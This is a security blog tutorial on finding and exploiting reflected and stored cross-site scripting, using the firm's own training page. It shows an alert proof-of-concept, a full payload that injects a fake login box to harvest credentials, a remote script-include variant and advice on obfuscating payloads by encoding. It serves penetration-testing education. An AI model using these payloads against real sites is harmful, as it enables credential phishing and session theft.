Contact us:

Finding Cross-site Scripting (XSS)

Author: HollyGraceful    Published: 19 October 2020    Last Updated: 05 July 2023


Cross-site Scripting (XSS) issues occur where user supplied input is insecurely included within a server response, or insecurely processed by a client-side script. If the payload is included with the response that immediately follows the request containing the payload then this is known as Reflected XSS. It is also sometimes referred to as Non-persisted XSS. If the payload is stored by the server and returned in a later response, it is known as Stored XSS, or Persistent XSS. Where the issue is due to insecure client-side processing it is known as DOM-Based XSS. Finding and exploiting DOM-Based XSS is quite different to stored or reflected, so we’ve separated it into its own article: Finding DOM-XSS.

The payloads are generally the same, there difference is simply the method of getting that payload to a target user. For Reflected this is generally achieved by convincing a user to click on a crafted link, for example through a phishing email. Stored can either be achieved by sending a link to the target page to a user, or simple waiting for a user to stumble on to the target page through their normal browsing of the vulnerable site.

How to Find and Exploit XSS

The first step to finding XSS is finding an input on the site where user input is returned to the user. In this example we’ll look at Reflected, but the exploitation of Stored would be near identical just without the requirement for a user to click the crafted link.

On our workshop page, which we use for our security training courses, we have a simple reflection point – if you enter your name in the form it says hello and gives back your name:

The user supplied the word “Nathan!” to the form, and the server returns “Hello Nathan!”

In this example, it’s passed through the URL, making this Reflected XSS. As the URL can be crafted and sent to the target user, as:!

This simple text reflection is not, in itself, a security vulnerability (okay, it is possible to place an offensive or political message within the response but the impact is severely limited). The impact becomes more significant if we can smuggle HTML or JavaScript into the response.

For example, we could replace “Nathan!” with a payload such as:<script>alert()</script>

If a user clicks this link they will receive the following:

The JavaScript is reflected to the page, causing the alert box to display.

This causes a JavaScript alert box to open within the browser. Whilst an alert box is not a significant payload it does serve as a safe proof-of-concept for use in penetration-testing/bug-bounty reports, to prove JavaScript execution was possible.

The alert box could easily be replaced with more impactful JavaScript, such as a script to deface the web page content, to steal confidential data from the user’s session, to steal the user’s session token, or to execute an exploit against the user’s browser.

We could, for example, write a script which presents the user with a fake login box which will capture user credentials; for example:<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action=''><p>Your session has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

This will cause the following output on the vulnerable workshop page:

A fake login box presented as a proof-of-concept, user credentials will be sent to

Whilst this is an effective payload, there are many other options.

Although this example payload would make the link really long – therefore an alternative is to use a src attribute and host the script on a web server the threat actor has access to, such as:

<script src=""></script>

Using a payload like this, and hosting the script on a server will allow for a shorter crafted link to be used.<script src=""></script>

Finally, it’s also possible to encode this payload to obfuscate the contents – such as through URI encoding:


That's it!


Read More